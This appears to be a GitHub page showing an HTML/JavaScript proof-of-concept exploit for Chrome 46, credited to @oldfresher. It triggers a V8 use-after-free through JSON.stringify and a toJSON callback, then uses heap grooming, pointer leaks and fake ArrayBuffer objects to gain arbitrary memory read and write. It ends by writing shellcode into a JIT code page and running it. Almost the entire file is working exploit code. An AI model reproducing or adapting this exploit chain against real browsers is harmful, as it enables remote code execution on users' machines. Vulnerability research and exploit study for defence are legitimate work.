-
Notifications
You must be signed in to change notification settings - Fork 47
/
Copy pathExploit_V2.html
462 lines (388 loc) · 16.3 KB
/
Exploit_V2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
<!--
All credits go to @oldfresher.
The exploi has been tested on Windows 10, you can try it yourself like this:
Step1. run Chrome (46.0.2490) with --no-sandbox.
Step2: browse the page.
Then calculator will pop up.
-->
<html>
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-store, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="0">
<body>
<div id="e_div"></div>
<script>
/****************************************************
*constants defined here
*****************************************************/
var FAKE_ARRBUFFER_BACKSTORE_LENGTH = 0x20000000 / 2
var ARRAYBUFFER_BACKSTORE_LENGTH = 0x20000
/****************************************************
*global objects defined here
*****************************************************/
var g_fake_arraybuffer_object = null
var is_debug = false
var global = this
var fake_jsarraymap_object =
[
0xAABBCCDD, /*This will be replaced with our fake jsarraymap object pointer in function init_fake_jsarray_object*/
0x17000004,
0x000100bd, /*0xBD is the JSArray InstanceType in Chromium for Windows*/
0x702003ff, /*Bitfield*/
0xAABBCCDD, /*This will be repalced with our fake null object pointer in funciton init_fake_jsarray_object*/
0xBAD0BEEF, /*Dummy fake pointer*/
0x10000000,
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF /*Dummy fake pointer*/
];
var fake_oddballmap_object =
[
0xBAD0BEEF, /*Dummy fake pointer*/
0x2a000005,
0x00000083,
0x702003ff, /*Bitfield*/
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF, /*Dummy fake pointer*/
0x00000000,
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF, /*Dummy fake pointer*/
0xBAD0BEEF /*Dummy fake pointer*/
];
var fake_null_object = [
0xBAD0BEEF, /*This will be replaced with fake oddball map object in function init_fake_jsarray_object*/
0xBAD0BEEF, /*Dummy fake pointer*/
0x00000000,
0x00000000,
0x00000006
]
if(is_debug)
{
alert("attach me!")
}
/*********************************************************
*functions used for debugging defined here
**********************************************************/
function log(info)
{
document.getElementById("e_div").innerHTML += "<h3>"+ info +"</h3>"
}
function breakpoint()
{
if(is_debug)
{
//bp chrome_child!v8::internal::Runtime_MathAtan2 in your debugger.
Math.atan2(1)
}
}
/*********************************************************
*functions used for V8 Heap Feng Shui defined here.
**********************************************************/
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
function write_dword_to_oob_memory(bytes_to_write)
{
global[2] = String.fromCharCode((bytes_to_write&0xff)+1,(bytes_to_write>>8)&0xff,(bytes_to_write>>16)&0xff,(bytes_to_write>>24)&0xff,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa);
/*
Because the default value of hash_field in String object is 3, it may be used as a tagged pointer. We force V8 to compute
a hash value and then set it to hash_field of String object making sure it will not be regarded as a heap object pointer.
*/
var obj={};
obj[global[2]]=0;
}
/*********************************************************
*functions used for info leak defined here.
**********************************************************/
function leak_arraybuffer_backstore_address(json_str)
{
var arr= JSON.parse(json_str);
for(var i=0;i<arr.length-10;i++)
{
if(arr[i]==ARRAYBUFFER_BACKSTORE_LENGTH)
{
return {arraybuffer:arr[i-1], wrapper:arr[i+11], v8text:arr[i+12]}
}
}
log("[*]leak arraybuffer address failed");
return 0;
}
/*
write some object's pointer(obj_pointer) to the fake JSArray object's elements field,
then we can leak the object's contents in memroy.
*/
function leak_object_info(obj_pointer)
{
/*
write the object pointer to the fake JSArray object's elements field.
*/
g_dataview_obj.setInt32(8, (obj_pointer - 2 * 4) + 1, true)
/*
write g_arraybuffer_backstore_pointer that points to our fake JSArray boejct to the OOB memory.
*/
write_dword_to_oob_memory(g_arraybuffer_backstore_pointer);
/*
trigger the bug, our fake JSArray object will be serialized, so object pointed by obj_pointer will be read.
*/
evil_array = create_malformd_arrayobj(100);
var json_str=JSON.stringify(evil_array);
var leaked_array = JSON.parse(json_str).filter(Array.isArray);
if(leaked_array.length != 1){
log("[*]leak object 0x" + obj_pointer.toString(16) + "info faild.")
}
return leaked_array;
}
function leak_textobj_elements_pointer()
{
give_me_a_clean_newspace()
var leaked_info_array = leak_object_info(g_textobj_pointer);
var pointer1 = 2 * leaked_info_array[0][1]
give_me_a_clean_newspace()
var leaked_info_array = leak_object_info(pointer1);
var pointer2 = 2 * leaked_info_array[0][0]
give_me_a_clean_newspace()
var leaked_info_array = leak_object_info(pointer2);
var textobj_elements_pointer = 2 * leaked_info_array[0][2]
if(is_debug)
{
log("[*]Blink::Text.elements address:0x" + textobj_elements_pointer.toString(16))
}
return textobj_elements_pointer
}
/************************************************************
*functions used for construct fake JS objects defined here.
*************************************************************/
function init_fake_jsarray_object()
{
var fake_object_pointer = g_arraybuffer_backstore_pointer
var fake_jsarraymap_object_pointer = fake_object_pointer + 7 * 4
var fake_null_object_pointer = fake_jsarraymap_object_pointer + 11 * 4
var fake_oddballmap_object_pointer = fake_null_object_pointer + 5 * 4
/*init fake jsarray map object*/
var fake_jsarraymap_dv = new DataView(g_arraybuff_obj, 7 * 4, fake_jsarraymap_object.length * 4)
for(var i=0; i<fake_jsarraymap_object.length; i++)
{
fake_jsarraymap_dv.setInt32(i * 4, fake_jsarraymap_object[i], true)
}
/*init fake null object*/
var fake_null_object_dv = new DataView(g_arraybuff_obj, 18 * 4, fake_null_object.length * 4)
for(var i=0; i<fake_null_object.length; i++)
{
fake_null_object_dv.setInt32(i * 4, fake_null_object[i], true)
}
/*init fake oddball map object*/
var fake_oddballmap_dv = new DataView(g_arraybuff_obj, 23 * 4, fake_oddballmap_object.length * 4)
for(var i=0; i<fake_oddballmap_object.length; i++)
{
fake_oddballmap_dv.setInt32(i * 4, fake_oddballmap_object[i], true)
}
/*write fake jsarray map object pointer*/
g_dataview_obj.setInt32(0, fake_jsarraymap_object_pointer + 1, true)
/*write fake oddball map object pointer to fake null object header*/
g_dataview_obj.setInt32(18 * 4, fake_oddballmap_object_pointer + 1, true)
/*write fake null object pointer to fake jsarray map object's prototype field*/
g_dataview_obj.setInt32(7 * 4 + 0x10, fake_null_object_pointer + 1, true)
/*set array length*/
g_dataview_obj.setInt32(0xC, 40, true)
}
function set_fake_arraybuffer_backsotre_pointer(backstore_pointer){
var fake_arraybuffer_obj = [
jsarraybuffer_map_pointer + 1, /*jsarraybuffer_map_pointer will be leaked by reading g_text_obj[0]'s memory layout information*/
jsarraybuffer_properties_pointer + 1, /*jsarraybuffer_properties_pointer will be leaked by reading g_text_obj[0]'s memory layout information*/
jsarraybuffer_elements_pointer + 1, /*jsarraybuffer_elements_pointer will be leaked by reading g_text_obj[0]'s memory layout information*/
backstore_pointer, /*fake ArrayBuffer object's backstore pointer*/
FAKE_ARRBUFFER_BACKSTORE_LENGTH * 2, /*fake ArrayBuffer object's backsotre buffer length */
0x100];
for(var i=0; i<fake_arraybuffer_obj.length; i++)
{
g_utin32array_obj[i] = fake_arraybuffer_obj[i]
}
}
function ArrayBuffer_prototype_toJSON()
{
if(this.byteLength == FAKE_ARRBUFFER_BACKSTORE_LENGTH)
{
g_fake_arraybuffer = this
}
}
/************************************************************
*functions used for arbitary memory read/write defined here.
*************************************************************/
function create_dataview_with_fake_arraybuffer(pointer)
{
/*set fake ArrayBuffer object's backstore address to pointer*/
set_fake_arraybuffer_backsotre_pointer(pointer);
return new DataView(g_fake_arraybuffer)
}
function read_uint32(address_to_read)
{
return create_dataview_with_fake_arraybuffer(address_to_read).getUint32(0, true)
}
function write_uint32(address_to_write, value)
{
return create_dataview_with_fake_arraybuffer(address_to_write).setUint32(0, value, true)
}
/********************************************************************
*functions used for constructing a malformd array object defined here
*********************************************************************/
function create_malformd_arrayobj(len)
{
var evil_array = []
var evil_object = {}
evil_object.toJSON = function ()
{
evil_array.length = 1
gc()
}
for(var i=0; i<len; i++)
{
evil_array[i] = 0x404040 + i
}
evil_array[0] = evil_object
return evil_array
}
/**********************************************************
* MAY I HAVE YOUR ATTENTION PLEASE
* EXPLOIT START
***********************************************************/
/*
Because V8 will run DOM binding codes when some DOM functions are called at first time. We don't want
DOM binding codes that will create lots object in NewSpace to interfere with info leak later, we force V8
to run DOM binding code before info leak by creating a Text object.
*/
var dummy = new Text("I'm dummy!")
/*
Define a jsfunction object with a large function body.
*/
var func_body = "eval('');"
for (var i=0; i<2000; i++)
func_body += "a[" + i.toString() + "];"
var func_obj = new Function("a", func_body)
/*
Force V8 to compile the JS function to native code, so a large chunk memory with PAGE_EXECUTE_READWRITE will be allocted.
shellcode will be written into it later.
*/
func_obj({})
/*
g_utin32array_obj will be used to create fake a ArrayBuffer object that gives us the power of arbitary R/W.
I found that if we create a Uint32Array in this way, it can hold native int in backsotr meory.
*/
var g_utin32array_obj = new Uint32Array([0x41414141, 0x42424242, 0x43434343, 0x44444444, 0x45454545, 0x46464646]);
give_me_a_clean_newspace()
/*
Define a ArrayBuffer object used to create fake JSArray object later.
*/
var g_arraybuff_obj = new ArrayBuffer(ARRAYBUFFER_BACKSTORE_LENGTH);
var g_text_obj = new Text("PWN")
/*
global object has already been moved to OldSpace now, so if we make it store references to g_arraybuff_obj and g_text_obj,
g_arraybuff_obj and g_text_obj will be moved into the OOB memory.
*/
global[0] = g_arraybuff_obj
global[1] = g_text_obj
/*set up elements field of g_text_obj*/
g_text_obj[0] = new ArrayBuffer(4) /*this ArrayBuffer object will be used to leak JSArrayBuffer map object pointer*/
g_text_obj[1] = g_utin32array_obj
g_text_obj[2] = func_obj /*this func_obj will be used to execute our shellcode*/
/*
define g_dataview_obj to manipulate g_arraybuff_obj's memory layout.
*/
var g_dataview_obj = new DataView(g_arraybuff_obj, 0, ARRAYBUFFER_BACKSTORE_LENGTH);
/*
trigger the bug, then leak the g_arraybuff_obj's backsotre pointer. Becasue g_arraybuff_obj has been
moved to OOB memroy during GC in NewSpace.
*/
var json_str = JSON.stringify(create_malformd_arrayobj(64));
var leakedaddr = leak_arraybuffer_backstore_address(json_str)
var g_arraybuffer_backstore_pointer = leakedaddr["arraybuffer"] * 2
var g_wrapper_typeinfo = leakedaddr["wrapper"] * 2
var g_textobj_pointer = leakedaddr["v8text"] * 2
if(is_debug)
{
log("[*]g_arraybuff_obj backstore pointer:0x" + g_arraybuffer_backstore_pointer.toString(16))
log("[*]g_textobj_pointer:0x" + g_textobj_pointer.toString(16))
}
/*create a fake JSArray obejct, it will be used to leak other object's memory layout information.*/
init_fake_jsarray_object()
/*leak the elements filed pointer of g_text_obj*/
var textobj_elements_pointer = leak_textobj_elements_pointer()
give_me_a_clean_newspace()
var leakd_info_array = leak_object_info(textobj_elements_pointer)
var jsarraybuffer_object_pointer = 2 * leakd_info_array[0][2];
var jsuin32array_object_pointer = 2 * leakd_info_array[0][3];
var jsfunction_object_pointer = 2 * leakd_info_array[0][4];
if(is_debug)
{
log("[*]JSArrayBuffer object pointer:0x" + jsarraybuffer_object_pointer.toString(16))
log("[*]JSUint32Array object pointer:0x" + jsuin32array_object_pointer.toString(16))
log("[*]JSFunction object pointer:0x" + jsfunction_object_pointer.toString(16))
}
give_me_a_clean_newspace()
var leakd_info_array = leak_object_info(jsarraybuffer_object_pointer)
var jsarraybuffer_map_pointer = 2 * leakd_info_array[0][0]
var jsarraybuffer_properties_pointer = 2 * leakd_info_array[0][1]
var jsarraybuffer_elements_pointer = 2 * leakd_info_array[0][2]
give_me_a_clean_newspace()
var leakd_info_array = leak_object_info(jsuin32array_object_pointer)
var jsuin32array_backstore_pointer = 2 * leakd_info_array[0][2] + 0x10
if(is_debug)
{
log("[*]JSUint32Array backstore pointer:0x" + jsuin32array_backstore_pointer.toString(16))
}
/*
As we have leaked jsarraybuffer_map_pointer, jsarraybuffer_properties_pointer, jsarraybuffer_elements_pointer, so
we can create a fake JSArrayBuffer object that will be used arbitary R/W later. The backstore pointer of the fake
JSArrayBuffer object set to a dummy pointer 0xBAD0BEEF, it will be replaced with the memory address we want to R/W
*/
set_fake_arraybuffer_backsotre_pointer(0xBAD0BEEF);
give_me_a_clean_newspace()
ArrayBuffer.prototype.toJSON = ArrayBuffer_prototype_toJSON
/*
write the g_doublearray_for_fake_arraybuf's backstore pointer to OOB memory.
*/
write_dword_to_oob_memory(jsuin32array_backstore_pointer)
/*
trigger the bug, our fake JSArrayBuffer object pointed by jsuin32array_backstore_pointer will be serialized, so
ArrayBuffer_prototype_toJSON in which we can get a reference to the fake JSArrayBuffer object will be called.
*/
JSON.stringify(create_malformd_arrayobj(100))
/**********************************************************
* MAY I HAVE YOUR ATTENTION PLEASE
* WE CAN R/W LIKE A BOSS NOW.
***********************************************************/
var jsfunction_jit_address = read_uint32(jsfunction_object_pointer + 0xC)
if(is_debug)
{
log("[*]JSFunction JIT code address:0x" + jsfunction_jit_address.toString(16))
}
/*write shellcode to jit code page with PAGE_EXECUTE_READWRITE*/
if(is_debug)
{
var shellcode = [0xCCCCCCCC, 0x9040ec83, 0x74d9dfdb, 0x2958f424, 0x37e8bec9, 0x32b1e38a, 0x31fce883, 0x98031370, 0xa4166824, 0x54d9e5a3, 0xb1509634, 0xb2078405, 0x96431834, 0x0201d3b4, 0x258d914e, 0x08e81ce7, 0xc63490f8, 0x14c8b23a, 0xd7f0146f, 0x05355562, 0x42ee078c, 0x169bb83f, 0x1d4bb9fc, 0xe1eec1bc, 0x31f07849, 0xa9baf7e1, 0xc81b5089, 0x8367835e, 0x121370eb, 0x25dc493a, 0x8ae30602, 0x2c23568f, 0x4f5f2d70, 0x32a4360d, 0x9439b3c9, 0x259a649a, 0x2969f24e, 0x2d35703b, 0x494d55ba, 0xd8825837, 0x81067f03, 0x6f1f1ed0, 0xd77f1fb6, 0xf50bba67, 0x9351bc7c, 0xdaec4c83, 0x4cef4e84, 0x03647fed, 0x60af806a, 0xc0f2ca84, 0x5166930d, 0x955d2450, 0x6554a76d, 0x601cb78a, 0x18cc7fd6, 0x8ff2ea47, 0x4e913f68, 0x4156a3fb]
}
else
{
var shellcode = [0x90909090, 0x9040ec83, 0x74d9dfdb, 0x2958f424, 0x37e8bec9, 0x32b1e38a, 0x31fce883, 0x98031370, 0xa4166824, 0x54d9e5a3, 0xb1509634, 0xb2078405, 0x96431834, 0x0201d3b4, 0x258d914e, 0x08e81ce7, 0xc63490f8, 0x14c8b23a, 0xd7f0146f, 0x05355562, 0x42ee078c, 0x169bb83f, 0x1d4bb9fc, 0xe1eec1bc, 0x31f07849, 0xa9baf7e1, 0xc81b5089, 0x8367835e, 0x121370eb, 0x25dc493a, 0x8ae30602, 0x2c23568f, 0x4f5f2d70, 0x32a4360d, 0x9439b3c9, 0x259a649a, 0x2969f24e, 0x2d35703b, 0x494d55ba, 0xd8825837, 0x81067f03, 0x6f1f1ed0, 0xd77f1fb6, 0xf50bba67, 0x9351bc7c, 0xdaec4c83, 0x4cef4e84, 0x03647fed, 0x60af806a, 0xc0f2ca84, 0x5166930d, 0x955d2450, 0x6554a76d, 0x601cb78a, 0x18cc7fd6, 0x8ff2ea47, 0x4e913f68, 0x4156a3fb]
}
for(var i=0; i<shellcode.length; i++)
{
write_uint32(jsfunction_jit_address + i * 4, shellcode[i])
}
/*Hello calc.exe*/
func_obj()
</script>
</body>
</html>